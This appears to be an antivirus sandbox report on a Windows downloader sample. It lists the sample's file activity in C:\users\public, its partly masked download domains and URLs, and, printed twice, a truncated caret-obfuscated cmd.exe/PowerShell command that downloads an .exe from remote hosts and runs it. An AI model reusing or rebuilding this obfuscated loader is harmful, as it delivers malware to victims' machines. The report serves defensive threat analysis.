Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V/C"^se^t ^8I=^ ^ ^ ^ ^ ^ ^ ^}^}^{^hctac}^;ka^er^b;U^qN$^ metI^-ekovnI^;)^UqN$ ,vl^P^$(el^i^F^da^olnwo^D.EVw${yrt^{)^f^j^z^$ n^i v^lP$(hc^aer^o^f^;'^exe.^'+Va^o^$+'^\^'^+c^i^l^b^u^p^...
Modifies file system
Creates the following files
- C:\users\public\487.exe
Deletes the following files
- C:\users\public\487.exe
Substitutes the following files
- C:\users\public\487.exe
Network activity
Connects to
- 'ka###ang001.com':80
- 'er####eredoski.com':80
- 'tr###olve.com':80
- 'tr###olve.com':443
- 'on#####egalsoftware.com':80
TCP
HTTP GET requests
- http://ka###ang001.com/xxwBiLY
- http://www.ka###ang001.com/xxwBiLY
- http://er####eredoski.com/C
- http://www.tr###olve.com/4ZO
- http://on#####egalsoftware.com/RPtWwdec
- http://www.on#####egalsoftware.com/RPtWwdec
Other
- 'tr###olve.com':443
UDP
- DNS ASK ka###ang001.com
- DNS ASK er####eredoski.com
- DNS ASK tr###olve.com
- DNS ASK on#####egalsoftware.com
- DNS ASK ul###amer.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /V/C"^se^t ^8I=^ ^ ^ ^ ^ ^ ^ ^}^}^{^hctac}^;ka^er^b;U^qN$^ metI^-ekovnI^;)^UqN$ ,vl^P^$(el^i^F^da^olnwo^D.EVw${yrt^{)^f^j^z^$ n^i v^lP$(hc^aer^o^f^;'^exe.^'+Va^o^$+'^\^'^+c^i^l^b^u^p^...' (with hidden window)
